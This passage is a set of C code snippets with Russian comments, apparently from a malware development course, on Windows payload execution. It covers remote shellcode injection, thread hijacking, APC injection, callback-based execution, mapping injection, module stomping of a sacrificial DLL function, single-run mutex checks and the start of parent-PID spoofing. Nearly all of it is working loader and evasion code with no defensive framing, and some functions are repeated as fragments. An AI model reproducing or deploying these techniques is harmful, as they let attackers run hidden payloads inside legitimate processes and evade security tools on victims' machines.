    // Проверка, что получены все необходимые значения
    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
        return TRUE;

    return FALSE;
}

BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
    SIZE_T sNumberOfBytesWritten = NULL;
    DWORD dwOldProtection = NULL;

    *ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (*ppAddress == NULL) {
        printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);

    if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
        printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {
    CONTEXT ThreadCtx = {
        .ContextFlags = CONTEXT_CONTROL
    };

    // получение исходного контекста потока
    if (!GetThreadContext(hThread, &ThreadCtx)) {
        printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // обновление указателя на следующую инструкцию, чтобы он был равен адресу нашего шеллкода
    ThreadCtx.Rip = pAddress;

    // установка нового обновленного контекста потока
    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // возобновление приостановленного потока, таким образом запуская нашу полезную нагрузку
    ResumeThread(hThread);

    WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

typedef struct tagTHREADENTRY32 {
  DWORD dwSize;                       // sizeof(THREADENTRY32)
  DWORD cntUsage;
  DWORD th32ThreadID;                 // ID потока
  DWORD th32OwnerProcessID;           // PID процесса, создавшего поток.
  LONG  tpBasePri;
  LONG  tpDeltaPri;
  DWORD dwFlags;
} THREADENTRY32;

BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

    // Получение ID локального процесса
    DWORD           dwProcessId  = GetCurrentProcessId();
    HANDLE          hSnapShot    = NULL;
    THREADENTRY32   Thr          = {
        .dwSize = sizeof(THREADENTRY32)
    };

    // Создание снимка потоков текущего запущенного процесса
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {
        printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом потоке, обнаруженном в снимке.
    if (!Thread32First(hSnapShot, &Thr)) {
        printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Если PID потока равен PID целевого процесса, то
        // этот поток выполняется в целевом процессе
        // 'Thr.th32ThreadID != dwMainThreadId' используется для исключения главного потока нашего локального процесса
        if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {

            // Открытие дескриптора потока
            *dwThreadId  = Thr.th32ThreadID;
            *hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

            if (*hThread == NULL)
                printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

            break;
        }

    // Пока в снимке остаются потоки
    } while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    if (*dwThreadId == NULL || *hThread == NULL)
        return FALSE;
    return TRUE;
}

BOOL HijackThread(HANDLE hThread, PVOID pAddress) {

    CONTEXT    ThreadCtx = {
        .ContextFlags = CONTEXT_ALL
    };

    SuspendThread(hThread);

    if (!GetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    ThreadCtx.Rip = pAddress;

    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("\t[#] Нажмите <Enter> для выполнения ... ");
    getchar();

    ResumeThread(hThread);

    WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

    HANDLE         hSnapShot  = NULL;
    THREADENTRY32  Thr        = {
        .dwSize = sizeof(THREADENTRY32)
    };

    // Получение снимка потоков текущего выполняемого процесса
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {
        printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом потоке, найденном в снимке.
    if (!Thread32First(hSnapShot, &Thr)) {
        printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Если PID потока равен PID целевого процесса, то
        // этот поток работает внутри целевого процесса
        if (Thr.th32OwnerProcessID == dwProcessId){

            *dwThreadId  = Thr.th32ThreadID;
            *hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

            if (*hThread == NULL)
                printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

            break;
        }

    // Пока в снимке остаются потоки
    } while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    if (*dwThreadId == NULL || *hThread == NULL)
        return FALSE;
    return TRUE;
}

BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

    CONTEXT ThreadCtx = {
        .ContextFlags = CONTEXT_ALL
    };

    // Приостановите поток
    SuspendThread(hThread);

    if (!GetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    ThreadCtx.Rip = pAddress;

    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("\t[#] Нажмите <Enter> для выполнения ... ");
    getchar();

    ResumeThread(hThread);

    WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

// Указатель на функцию
typedef NTSTATUS (NTAPI* fnNtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID                    SystemInformation,
    ULONG                    SystemInformationLength,
    PULONG                   ReturnLength
);

fnNtQuerySystemInformation pNtQuerySystemInformation = NULL;

// Получение адреса NtQuerySystemInformation
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation == NULL) {
    printf("[!] GetProcAddress завершилась с ошибкой: %d\n", GetLastError());
    return FALSE;
}

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
    PVOID Reserved2;
    ULONG HandleCount;
    ULONG SessionId;
    PVOID Reserved3;
    SIZE_T PeakVirtualSize;
    SIZE_T VirtualSize;
    ULONG Reserved4;
    SIZE_T PeakWorkingSetSize;
    SIZE_T WorkingSetSize;
    PVOID Reserved5;
    SIZE_T QuotaPagedPoolUsage;
    PVOID Reserved6;
    SIZE_T QuotaNonPagedPoolUsage;
    SIZE_T PagefileUsage;
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;

ULONG                        uReturnLen1    = NULL,
                             uReturnLen2    = NULL;
PSYSTEM_PROCESS_INFORMATION  SystemProcInfo = NULL;
NTSTATUS                     STATUS         = NULL;

// Первый вызов NtQuerySystemInformation
// Он завершится ошибкой STATUS_INFO_LENGTH_MISMATCH
// Но он предоставит информацию о том, сколько памяти необходимо выделить (uReturnLen1)
pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);

// Выделение достаточного буфера для возвращаемого массива структур `SYSTEM_PROCESS_INFORMATION`
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
if (SystemProcInfo == NULL) {
    printf("[!] HeapAlloc завершилась с ошибкой: %d\n", GetLastError());
    return FALSE;
}

// Второй вызов NtQuerySystemInformation
// Вызываем NtQuerySystemInformation с правильными аргументами, результат будет сохранен в 'SystemProcInfo'
STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
if (STATUS != 0x0) {
    printf("[!] NtQuerySystemInformation завершилась с ошибкой: 0x%0.8X \n", STATUS);
    return FALSE;
}

// 'SystemProcInfo' теперь представляет новый элемент в массиве
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);

// Поскольку мы будем изменять 'SystemProcInfo', мы сохраняем его начальное значение перед while-циклом, чтобы освободить его позже
pValueToFree = SystemProcInfo;

BOOL GetRemoteProcessHandle(LPCWSTR szProcName, DWORD* pdwPid, HANDLE* phProcess) {

    fnNtQuerySystemInformation   pNtQuerySystemInformation = NULL;
    ULONG                        uReturnLen1               = NULL,
                                 uReturnLen2               = NULL;
    PSYSTEM_PROCESS_INFORMATION  SystemProcInfo            = NULL;
    NTSTATUS                     STATUS                    = NULL;
    PVOID                        pValueToFree              = NULL;

    pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
    if (pNtQuerySystemInformation == NULL) {
        printf("[!] GetProcAddress завершилась с ошибкой: %d\n", GetLastError());
        return FALSE;
    }

    pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);

    SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
    if (SystemProcInfo == NULL) {
        printf("[!] HeapAlloc завершилась с ошибкой: %d\n", GetLastError());
        return FALSE;
    }

    // Так как мы будем изменять 'SystemProcInfo', мы сохраняем его начальное значение перед циклом while, чтобы освободить его позже
    pValueToFree = SystemProcInfo;

    STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
    if (STATUS != 0x0) {
        printf("[!] NtQuerySystemInformation завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    while (TRUE) {

        // Проверяем размер имени процесса
        // Сравниваем имя перечисленного процесса с заданным целевым процессом
        if (SystemProcInfo->ImageName.Length && wcscmp(SystemProcInfo->ImageName.Buffer, szProcName) == 0) {

            // Открываем дескриптор целевого процесса, сохраняем его и завершаем выполнение
            *pdwPid        = (DWORD)SystemProcInfo->UniqueProcessId;
            *phProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
            break;
        }

        // Если NextEntryOffset равен 0, мы достигли конца массива
        if (!SystemProcInfo->NextEntryOffset)
            break;

        // Переходим к следующему элементу в массиве
        SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
    }

    // Освобождаем память, используя начальный адрес
    HeapFree(GetProcessHeap(), 0, pValueToFree);

    // Проверяем, удалось ли нам успешно получить дескриптор целевого процесса
    if (*pdwPid == NULL || *phProcess == NULL)
        return FALSE;
    else
        return TRUE;
}

DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);

Sleep
SleepEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjectsEx
WaitForSingleObject
WaitForSingleObjectEx
WaitForMultipleObjects
WaitForMultipleObjectsEx
SignalObjectAndWait

VOID AlertableFunction1() {
Sleep(-1);
}

VOID AlertableFunction2() {
SleepEx(INFINITE, TRUE);
}

VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
 WaitForSingleObject(hEvent, INFINITE);
 CloseHandle(hEvent);
}
}

VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
 CloseHandle(hEvent);
}
}

VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
 SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
 CloseHandle(hEvent1);
 CloseHandle(hEvent2);
}
}

BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;

pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
    printf("\t[!] VirtualAlloc не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

memcpy(pAddress, pPayload, sPayloadSize);

if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("\t[!] VirtualProtect не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

// Если hThread находится в состоянии готовности, QueueUserAPC непосредственно выполнит полезную нагрузку
// Если hThread находится в приостановленном состоянии, полезная нагрузка не будет выполнена, пока поток не будет возобновлен после этого
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
    printf("\t[!] QueueUserAPC не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

return TRUE;
}

BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {

CHAR lpPath   [MAX_PATH * 2];
CHAR WnDr     [MAX_PATH];

STARTUPINFO            Si    = { 0 };
PROCESS_INFORMATION    Pi    = { 0 };

// Очистка структур, установка значений элементов в 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

// Установка размера структуры
Si.cb = sizeof(STARTUPINFO);

// Получение пути переменной окружения %WINDIR% (который обычно равен 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
    printf("[!] GetEnvironmentVariableA не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

// Создание пути к целевому процессу
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Запуск : \"%s\" ... ", lpPath);

// Создание процесса
if (!CreateProcessA(
    NULL,
    lpPath,
    NULL,
    NULL,
    FALSE,
    DEBUG_PROCESS,        // Вместо CREATE_SUSPENDED
    NULL,
    NULL,
    &Si,
    &Pi)) {
    printf("[!] CreateProcessA не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

printf("[+] ГОТОВО \n");

// Заполнение выходного параметра результатами выполнения CreateProcessA
*dwProcessId        = Pi.dwProcessId;
*hProcess           = Pi.hProcess;
*hThread            = Pi.hThread;

// Проверка наличия всего необходимого
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
    return TRUE;

return FALSE;
}

BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback, // здесь
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);

BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc, // здесь
[in] LPARAM lParam
);

BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // здесь
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);

ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, // здесь
PVOID EnumerationContext
);

HANDLE hTimer = NULL;

if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer не удалось с ошибкой: %d \n", GetLastError());
return -1;
}

if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf("[!] EnumChildWindows не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
    printf("[!] EnumUILanguagesW не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
    printf("[!] LoadLibraryA не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
    printf("[!] GetProcAddress не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

// Необходимо установить флаг AvrfResourceHeapAllocation для выполнения полезной нагрузки
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,     // Не требуется - NULL
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,           // Не требуется - NULL
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName                       // Не требуется - NULL
);

LPVOID MapViewOfFile(
  [in] HANDLE     hFileMappingObject,
  [in] DWORD      dwDesiredAccess,
  [in] DWORD      dwFileOffsetHigh,           // Not Required - NULL
  [in] DWORD      dwFileOffsetLow,            // Not Required - NULL
  [in] SIZE_T     dwNumberOfBytesToMap
);

BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {

    BOOL   bSTATE         = TRUE;
    HANDLE hFile          = NULL;
    PVOID  pMapAddress    = NULL;

    hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
    if (pMapAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    memcpy(pMapAddress, pPayload, sPayloadSize);

_EndOfFunction:
    *ppAddress = pMapAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

PVOID MapViewOfFile2(
  [in]           HANDLE  FileMappingHandle,   // Дескриптор для объекта отображения файла, возвращенного CreateFileMappingA/W
  [in]           HANDLE  ProcessHandle,       // Дескриптор целевого процесса
  [in]           ULONG64 Offset,              // Не требуется - NULL
  [in, optional] PVOID   BaseAddress,         // Не требуется - NULL
  [in]           SIZE_T  ViewSize,            // Не требуется - NULL
  [in]           ULONG   AllocationType,      // Не требуется - NULL
  [in]           ULONG   PageProtection       // Желаемая защита страницы.
);

BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {

    BOOL        bSTATE            = TRUE;
    HANDLE      hFile             = NULL;
    PVOID       pMapLocalAddress  = NULL,
                pMapRemoteAddress = NULL;

    hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
    if (pMapLocalAddress == NULL) {
        printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    memcpy(pMapLocalAddress, pPayload, sPayloadSize);

    pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
    if (pMapRemoteAddress == NULL) {
        printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);

_EndOfFunction:
    *ppAddress = pMapRemoteAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

#define        SACRIFICIAL_DLL          "setupapi.dll"
#define        SACRIFICIAL_FUNC         "SetupScanFileQueueA"
// ...

BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    DWORD    dwOldProtection        = NULL;

    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
        printf("[!] VirtualProtect [RW] Не удалось из-за ошибки: %d \n", GetLastError());
        return FALSE;
    }

    memcpy(pAddress, pPayload, sPayloadSize);

    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect [RWX] Не удалось из-за ошибки: %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

int main() {

    PVOID        pAddress    = NULL;
    HMODULE        hModule        = NULL;
    HANDLE        hThread        = NULL;

    printf("[#] Нажмите <Enter>, чтобы загрузить \"%s\" ... ", SACRIFICIAL_DLL);
    getchar();

    printf("[i] Загрузка ... ");
    hModule = LoadLibraryA(SACRIFICIAL_DLL);
    if (hModule == NULL){
        printf("[!] LoadLibraryA Не удалось из-за ошибки: %d \n", GetLastError());
        return -1;
    }
    printf("[+] ГОТОВО \n");

    pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
    if (pAddress == NULL){
        printf("[!] GetProcAddress Не удалось из-за ошибки: %d \n", GetLastError());
        return -1;
    }

    printf("[+] Адрес \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);

    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    printf("[i] Запись ... ");
    if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
        return -1;
    }
    printf("[+] ГОТОВО \n");

    printf("[#] Нажмите <Enter>, чтобы выполнить полезную нагрузку ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;

}

#pragma comment (lib, "Setupapi.lib") // Добавление "setupapi.dll" в таблицу импорта адресов

#pragma comment (lib, "Setupapi.lib") // Добавление "setupapi.dll" в таблицу импорта адресов
// ...

int main() {

    HANDLE        hThread            = NULL;

    printf("[+] Адрес \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);

    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    printf("[i] Запись ... ");
    if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Использование оператора адреса
        return -1;
    }
    printf("[+] ГОТОВО \n");

    printf("[#] Нажмите <Enter>, чтобы выполнить полезную нагрузку ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;

}

#define        SACRIFICIAL_DLL            "setupapi.dll"
#define        SACRIFICIAL_FUNC           "SetupScanFileQueueA"
// ...

BOOL WritePayload(HANDLE hProcess, PVOID pAddress, PBYTE pPayload, SIZE_T sPayloadSize) {

    DWORD    dwOldProtection            = NULL;
    SIZE_T    sNumberOfBytesWritten      = NULL;

    if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtectEx [RW] Ошибка выполнения: %d \n", GetLastError());
        return FALSE;
    }

    if (!WriteProcessMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten) || sPayloadSize != sNumberOfBytesWritten){
        printf("[!] WriteProcessMemory Ошибка выполнения: %d \n", GetLastError());
        printf("[!] Байты записаны: %d из %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }

    if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtectEx [RWX] Ошибка выполнения: %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

int wmain(int argc, wchar_t* argv[]) {

    HANDLE        hProcess        = NULL,
                hThread            = NULL;
    PVOID        pAddress        = NULL;
    DWORD        dwProcessId        = NULL;

    HMODULE        hModule            = NULL;

    if (argc < 2) {
        wprintf(L"[!] Использование : \"%s\" <Имя процесса> \n", argv[0]);
        return -1;
    }

    wprintf(L"[i] Поиск ID процесса \"%s\" ... ", argv[1]);
    if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
        printf("[!] Процесс не найден \n");
        return -1;
    }
    printf("[+] ГОТОВО \n");
    printf("[i] Найденный PID целевого процесса: %d \n", dwProcessId);



    printf("[i] Загрузка \"%s\"... ", SACRIFICIAL_DLL);
    hModule = LoadLibraryA(SACRIFICIAL_DLL);
    if (hModule == NULL) {
        printf("[!] LoadLibraryA Ошибка выполнения: %d \n", GetLastError());
        return -1;
    }
    printf("[+] ГОТОВО \n");


    pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
    if (pAddress == NULL) {
        printf("[!] GetProcAddress Ошибка выполнения: %d \n", GetLastError());
        return -1;
    }
    printf("[+] Адрес \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);


    printf("[#] Нажмите <Enter> для записи полезной нагрузки ... ");
    getchar();
    printf("[i] Запись ... ");
    if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
        return -1;
    }
    printf("[+] ГОТОВО \n");



    printf("[#] Нажмите <Enter> для выполнения полезной нагрузки ... ");
    getchar();

    hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Нажмите <Enter> чтобы выйти ... ");
    getchar();

    return 0;
}

HANDLE hSemaphore = CreateSemaphoreA(NULL, 10, 10, "ControlString");

if (hSemaphore != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
    // Полезная нагрузка уже выполняется
else
    // Полезная нагрузка не выполняется

HANDLE hMutex = CreateMutexA(NULL, FALSE, "ControlString");

if (hMutex != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
    // Полезная нагрузка уже выполняется
else
    // Полезная нагрузка не выполняется

HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, "ControlString");

if (hEvent != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
    // Полезная нагрузка уже выполняется
else
    // Полезная нагрузка не выполняется

typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Список атрибутов
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags,         // NULL (зарезервировано)
  [in, out]       PSIZE_T                      lpSize
);

BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,   // возвращаемое значение от InitializeProcThreadAttributeList
  [in]            DWORD                        dwFlags,           // NULL (зарезервировано)
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,           // указатель на значение атрибута
  [in]            SIZE_T                       cbSize,            // sizeof(lpValue)
  [out, optional] PVOID                        lpPreviousValue,   // NULL (зарезервировано)
  [in, optional]  PSIZE_T                      lpReturnSize       // NULL (зарезервировано)
);

BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

    CHAR lpPath[MAX_PATH * 2];
    CHAR WnDr[MAX_PATH];

    SIZE_T sThreadAttList = NULL;
    PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL;
